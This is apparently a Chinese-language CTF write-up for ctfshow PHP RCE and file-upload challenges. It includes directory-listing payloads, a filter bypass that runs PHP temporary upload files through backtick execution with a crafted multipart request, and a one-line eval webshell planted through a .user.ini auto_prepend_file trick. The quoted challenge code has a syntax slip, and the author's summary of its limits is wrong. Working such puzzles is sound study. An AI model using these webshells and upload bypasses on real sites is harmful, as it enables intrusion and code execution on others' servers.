ctfshow-部分rce&文件上传.1

web12 4

去源码查看提示,参数是cmd,进行传参。期间尝试system查看,扫目录啥的,都不行,然后去尘封已久的笔记里找到了之前没咋用的函数,在这里进行了温习

  • print_r() 回显数组或对象的结构
  • scandir() 扫描目录中的文件和子目录
  • glob() 查找与模式匹配的文件路径
  • show_source() 将指定文件的源代码以 HTML 格式高亮显示,同于highlight_file()
  • scandir(“uploads”); 扫描当前目录下的子目录
  • scandir(“../config”); 扫描上级目录的config 子目录

扫描当前目录,(“.”指的是当前目录),可以看到有一个名字很长的文件

?cmd=print_r(scandir("."));

访问该文件即可

?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

另一种查询姿势

通配符含义

  • * 匹配任意数量的任意字符(包括零个字符)
  • . 匹配点号本身
  • “*.*” 匹配所有带扩展名的文件(如 index.php、flag.txt)
?cmd=print_r(glob("*.*"));

同样可以回显

红包题第二弹 1

先查看源码,发现参数是cmd,随便传参,会回显隐藏内容

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

过滤了一大堆东西,目前能够使用的只有p < > ? + = . ; ` /这些字符串可以使用,这里学到了新方法,php的临时上传文件绕过

分析这些字符串的作用

  • <?=等价于<?php echo(php的短标记语法,相似语句另外总结)
  • `反引号用于命令执行,
  • .(period)等同于source的作用,.`组合在一起,可读取文件,例:`. $filename`

对于php本身而言,可以进行文件上传

发送一个post的上传文件的包,此时php会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpxxxxxx,文件名最后6个字符是随机的大小写字母。如/tmp/phphhhhhh

在这里用?代替字母,进行绕过,结果形如/??p/p?p??????

总结就是上传带有payload的代码的文件并执行

同时这些临时文件夹下的文件最后是会被删除的,那么就需要在删除之前就执行我们上传的文件。这里将是上传的时候同时执行

cmd传参内容,同时修改请求头为POST

?><?=`.%20/??p/p?p??????`;?>

同时数据包中,文件上传格式为multipart/form-data类型, boundary定义边界符。简单解释一下Content-Type,就是告诉别人自身的数据格式,让对方用对应的方式解析。boundary的内容是可以自己定义的

Content-Type: multipart/form-data; boundary=boundary

大致框架

Content-Type: multipart/form-data; boundary=boundary
Content-Length: 132

--boundary
Content-Disposition: form-data; name="hu"; filename="1.txt"
Content-Type: text/plain

#!/bin/sh
ls /
--boundary--

第4行和第10行中–必须有,name="hu"; filename="1.txt"名称自定义,#!/bin/sh表示系统执行时会使用/bin/sh解释器来解释执行命令(可有可无)

将以上内容搬到bp,查目录

查文件内容

参考文章:https://blog.csdn.net/2302_76724233/article/details/141941439

web13 5

<?php 
        header("content-type:text/html;charset=utf-8");
        $filename = $_FILES['file']['name'];
        $temp_name = $_FILES['file']['tmp_name'];
        $size = $_FILES['file']['size'];
        $error = $_FILES['file']['error'];
        $arr = pathinfo($filename);
        $ext_suffix = $arr['extension'];
        if ($size > 24){
                die("error file zise");
        }
        if (strlen($filename)>9){
                die("error file name");
        }
        if(strlen($ext_suffix)>3){
                die("error suffix");
        }
        if(preg_match("/php/i",$ext_suffix)){
                die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
        if (move_uploaded_file($temp_name, './'.$filename)){
                echo "文件上传成功!";
        }else{
                echo "文件上传失败!";
        }

 ?>

文件名不能出现php,扩展名要大于3,文件名不能大于99,扩展名和文件名里都不能出现php。内容不能大于24个字符串。利用txt和.user.ini进行绕过

找一个合适的一句话木马(eval前面不需要@@是为了在执行过程中,不输出报错信息,;已经让语句闭合了,那么?>也可以忽略。在一部分的一句话木马中,;和?>可以不需要同时存在,?>是会视为代码块的结束,相当于也是对语句进行了闭合)

<?php eval($_GET['a']);

接着再传一个.user.ini文件,文件内容的作用就是为了每次执行PHP脚本前,先执行file.txt的内容

auto_prepend_file=1.txt

刚刚已经在1.txt中产生了命令注入漏洞,接下来就可以利用这个漏洞查询当前目录,进行传参

?a=print_r(glob("*"));

访问

upload.php?file=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
上一篇
下一篇